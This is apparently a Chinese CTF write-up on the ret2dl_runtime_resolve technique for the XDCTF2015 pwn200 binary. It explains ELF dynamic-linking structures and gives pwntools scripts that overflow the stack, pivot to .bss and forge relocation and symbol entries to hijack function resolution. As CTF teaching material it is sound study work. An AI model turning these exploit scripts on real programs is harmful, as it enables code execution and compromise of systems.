高级ret2_dl_runtime_resolve

Ret2dl
准备:

  • readelf工具的使用
-h 显示文件的头部信息
-l(program headers),segments 显示程序头(段头)信息(如果有数据的话)。
-S(section headers),sections 显示节头信息(如果有数据的话)(区分大小写)
-g(section groups),显示节组信息(如果有数据的话)
-t,section-details 显示节的详细信息(-S的)
-r,relocs 显示可重定位段的信息
-d,dynamic 显示动态段的信息。
  • 1.首先了解ELF关于动态链接的一些关键section
    高级ret2_dl_runtime_resolve_第1张图片

DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针,可以readelf -S 可执行文件看一下
高级ret2_dl_runtime_resolve_第2张图片

.dynamic:包含了一些关于动态链接的关键信息,事实上这个section所有程序都差不多
高级ret2_dl_runtime_resolve_第3张图片

.dynstr:一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名,比方说这里很明显有个read。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移

.dynsym这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比方说上面的puts。
.rel.plt:这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:

typedef struct{
  Elf32_Addr    r_offset; //指向GOT表的指针
  Elf32_Word    r_info; 
  //一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
  //1和3是这个导入函数的符号在.dynsym中的下标,
  //如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;
  • _dl_runtime_resolve做了什么

利用自己写的hello来测试一下put@plt在程序里面干了什么(将断点下在程序的main出,随便下)
高级ret2_dl_runtime_resolve_第4张图片
注:puts@plt 第一条指令是跳转,这里存放是push的地址(在我们看来这里应该直接跳转到got表里面去)
在这里插入图片描述

继续往下走 回发现一个jmp 跳转到红色的地方,0x804a004(是一个link_map的指针)
高级ret2_dl_runtime_resolve_第5张图片
它包含了.dynamic的指针,通过这个link_map_dl_runtime_resolve函数可以访问到.dynamic这个section
在这里插入图片描述
0x08049f14.dynamic的指针 这个可以和前面 .dynamuic的值是一样的
一般函数plt调用如下
read@plt:

注,其实在这里我们应该存放的是我们调用函数的地址,因为延迟捆绑技术,需要利用plt返回重定位
jmp *(read@GOT) #跳转到got表中 其实这地方保存的地址是push的地址(第一次调用)

   push n

   push 保存当前程序的.dynamic的link_map指针

   jump _dl_runtime_resolve()   #跳转到ret dl处执行我们的代码
  • _dl_runtime_resolve会
  1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT
  6. 调用这个函数
#!/usr/bin/python

from pwn import *    
elf = ELF('bof')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

# 0x08048618 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
ppp_ret = 0x08048619      # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458     # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040	 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size       #  我们可以任意我们伪造栈的大小

r = process('./bof')



r.recvuntil('Welcome to XDCTF2015~!\ n')   #先接受一下数据 在其他的程序里面,不接受数据会打乱我内部数据
payload = 'A' * offset    #制造溢出
payload += p32(read_plt)   #利用返回地址 写入我们的payload ,后面的payload 都是由read读取
payload += p32(ppp_ret)   #填充read的参数,先pop出栈内的数据,(自己理解为清栈操作)
payload += p32(0)   #文件标识符  0 标准读入
payload += p32(base_stage)   #伪造栈一个足够大的栈,够我们写入
payload += p32(100)   #read可以读取的最大字符串数
payload += p32(pop_ebp_ret)   #这里将pppret的返回地址覆盖为 当下地址,将base_stage 的地址设置为ebp 我们的栈基址
payload += p32(base_stage) #改写ebp   
payload += p32(leave_ret)  ##将ebp指向esp   #了解leace里面的汇编代码

r.sendline(payload)

cmd = "/bin/sh"

payload2 = 'AAAA'    #这里需要覆盖 应该是leave_ret的影响,新的ebp  (自己这里也有点迷惑
payload2 += p32(write_plt)  #自己不太肯定 ,因该p32(leave_ret)的返回地址 覆盖为write的地址,这里是为了验证我们可以泄露我们栈内的数据
payload2 += 'AAAA'   # 覆盖返回地址
payload2 += p32(1) #标准
payload2 += p32(base_stage + 80)  #用write泄露地址的位置  (这里可以改为,我们想要泄露的地方
payload2 += p32(len(cmd))  #这里是泄露地址的大小  没把握就用函数自己计算长度
payload2 += 'A' * (80 - len(payload2))   #这里payload2  是在这个paylod以前的payload2的长度  (换句话说就是为了构造80个A  ,第81 就是我们泄露的地址内容 (用write函数就是为了验证,我们泄露栈内的地址是否成功)
payload2 += cmd + '\x00'   #‘bin/sh\x00  是我们需要4自己对其的模式
payload2 += 'A' * (100 - len(payload2))  #我们是read最多可以读取100  我们没事干也可以将没用的填充,这里不影响我我们泄露/bin/sh,是都可以被我我们读取出来
r.sendline(payload2)   #write相当一个输出函数,我们不需要用recv来接收和打印出来
r.interactive()

注:上面的代码只是为了测试我们可以用write函数可以泄露出我们想要的栈里面的内容

Got 找到相应的内容自己理解一下
GOT[1]:一个指向内部数据结构的指针,类型是 link_map,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF 对象的信息。在它的l_info域中保存了.dynamic 段中大多数条目的指针构成的一个数组,我们后面会利用它。
GOT[2]:一个指向动态装载器中 _dl_runtime_resolve 函数的指针。
函数使用参数link_map_obj来获取解析导入函数(使用reloc_index参数标识)需要的信息,并将结果写到正确的 GOT条目中。在 _dl_runtime_resolve 解析完成后,控制流就交到了那个函数手里,而下次再调用函数的plt时,就会直接进入目标函数中执行。

注:在进行到现在,我想的是,作者是为了给我们验证,我们可以改程序里面的铭感的参数,来实现我们的函数的调用(应为我们的题,里面没有sysytem这个函数 但是我们可以伪造system函数里面的,标志参数

我这将他简化一下
在前面这个脚本里 我们验证了,可以利用write@plt去泄露地址,我们这此测试,我们是否可以伪造write@plt里面的参数来实现我们地址的泄露

我们知道在@plt里面 我们是通过plt跳转到我们got表中记录函数的位置,在第一次调用(使用延迟捆绑技术)所以没有我们write的地址,现在我们能否控制eipgot0跳转到我们的write函数处
Write函数调用

write@plt时其实是先将 reloc_index压入栈,然后跳转到 PLT[0]: (需要自己gdb调试进入plt表进行查看,我每一个函数的@plt的调用都是这样

#这个代码是为了验证,我们将write@plt函数去掉,改为内部的参数是否可以,继续我们泄露/bin/sh的内容

plt_0 = elf.get_section_by_name('.plt').header.sh_addr#这里需要增加地址 plt对应的是plt跳转到got表的地址,我们这里可以用现成的函数找到地址 (后期我会自己将地址找出来,便于理解,现成的函数虽然好用,但是知道多一种方法,多一种解题的思路
reloc_index = 0x20
#注:参考的脚本里面会出现,更改名称,自己在测试的时候吃了亏 多留心一下

payload_3  = "AAAA"
payload_3 += p32(plt_0) #跳转到got表的地方  #如果我们第一次调用,会直接跳撞到  下面一条指令 因为当时存储的是,put @6的地址  
payload_3 += p32(reloc_index)  #这里将 write的调试标识符号填写进去  伪造调用了write函数
payload_3 += "AAAA"
payload_3 += p32(1)
payload_3 += p32(base_stage + 80)
payload_3 += p32(len("/bin/sh"))
payload_3 += "A" * (80 - len(payload_3))
payload_3 += "/bin/sh\x00"
payload_3 += "A" * (100 - len(payload_3))

r.sendline(payload_3)
r.interactive()

该结构体的 r_offset 是 write@got 地址,即 0x0804a01c,r_info 是 0x707。动态装载器通过 reloc_index 找到它,而 reloc_index 是相对于 .rel.plt 的偏移,所以我们如果控制了这个偏移,就可以跳转到伪造的 write 上

reloc_index = base_stage + 28 - rel_plt  # fake_reloc = base_addr + 28

r_info = 0x607   #readelf -r a.out | grep write

fake_reloc = p32(write_got) + p32(r_info)

payload_4  = "AAAA"
payload_4 += p32(plt_0)
payload_4 += p32(reloc_index)
payload_4 += "AAAA"
payload_4 += p32(1)
payload_4 += p32(base_stage + 80)
payload_4 += p32(len("/bin/sh"))
payload_4 += fake_reloc    # base_addr + 28   通过reloc_index来找到我们伪造的write
payload_4 += "A" * (80 - len(payload_4))
payload_4 += "/bin/sh\x00"
payload_4 += "A" * (100 - len(payload_4))

下面要用到计算Elf32_Rel

ELF32_R_SYM(0x707) = (0x707 >> 8) = 0x7,即 .dynsym 的第 7 行
ELF32_R_TYPE(0x707) = (0x707 & 0xff) = 0x7,即 #define R_386_JMP_SLOT 7 /* Create PLT entry 
ELF32_R_INFO(0x7, 0x7) = (((0x7 << 8) + ((0x7) & 0xff)) = 0x707,即 r_info

这一次,伪造位于 .dynsym 段的结构体 Elf32_Sym,原结构体如下:

typedef struct
{
  Elf32_Word    st_name;        /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;       /* Symbol value */
  Elf32_Word    st_size;        /* Symbol size */
  unsigned char st_info;        /* Symbol type and binding */
  unsigned char st_other;       /* Symbol visibility */
  Elf32_Section st_shndx;       /* Section index */
} Elf32_Sym;

注:st_name 和 st_info, 3a 和12 (这里显示错误 应该是第7行的值)


fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10
fake_sym_addr = fake_sym_addr + align

r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)

fake_reloc = p32(write_got) + p32(r_info)   #下面一部分 我们可以知道
reloc_index = base_stage + 28 - rel_plt


st_name = 0x4c   
st_info = 0x12
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)

payload_5  = "AAAA"
payload_5 += p32(plt_0)
payload_5 += p32(reloc_index)  #找到我们伪造的write函数
payload_5 += "AAAA"
payload_5 += p32(1)
payload_5 += p32(base_stage + 80)
payload_5 += p32(len("/bin/sh"))
payload_5 += fake_reloc   #伪造write的内部结构
payload_5 += "A" * align
payload_5 += fake_sym
payload_5 += "A" * (80 - len(payload_5))
payload_5 += "/bin/sh\x00"
payload_5 += "A" * (100 - len(payload_5))

  • 参考文献:
    脚本参考:http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
    最好多读几遍:https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.3_pwn_xdctf2015_pwn200.md
    重定位表:http://bdxnote.blog.163.com/blog/static/8444235201542614525660/
    重点文章:https://xz.aliyun.com/t/5122#toc-17

你可能感兴趣的:(#,例题分析)